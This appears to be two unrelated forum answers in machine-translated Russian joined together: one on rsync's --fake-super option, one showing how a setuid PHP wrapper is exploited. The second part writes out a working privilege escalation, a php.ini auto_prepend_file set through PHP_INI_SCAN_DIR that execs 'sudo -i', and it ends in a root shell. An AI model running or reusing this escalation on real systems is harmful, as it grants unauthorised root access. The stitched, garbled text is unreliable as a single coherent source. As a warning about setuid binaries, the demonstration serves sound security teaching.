При поиске rsync страницы справочника сегодня по полностью несвязанной причине я наткнулся на --fake-super
опция:
Из страницы справочника:
Когда эта опция включена, rsync моделирует операции суперпользователя путем сохранения/восстановления привилегированных атрибутов через специальные расширенные атрибуты, которые присоединены к каждому файлу (по мере необходимости). Это включает владельца и группу файла...
Который является точно, что я искал, когда я первоначально задал этот вопрос, хотя я не знал то, что я искал, прежде чем я отправил. Это аккуратно решает проблему без любых петлевых приемов файловой системы, или внешний дамп атрибута или взламывание FUSE.
Да, это угроза безопасности.
$ cat <<EOF >/tmp/php.ini
auto_prepend_file=/tmp/owned.php
EOF
$ cat <<EOF >/tmp/owned.php
<?php
echo "Owned\n";
pcntl_exec("/usr/bin/sudo", array("sudo", "-i"));
?>
EOF
$ export PHP_INI_SCAN_DIR="/tmp"
$ /path/to/the/setuid/wrapper
Owned
# id
uid=0(root) gid=0(root) groups=0(root) context=staff_u:sysadm_r:sysadm_t:s0-s0:c0.c1023
Вот почему вам следует избегать использования двоичных файлов setuid.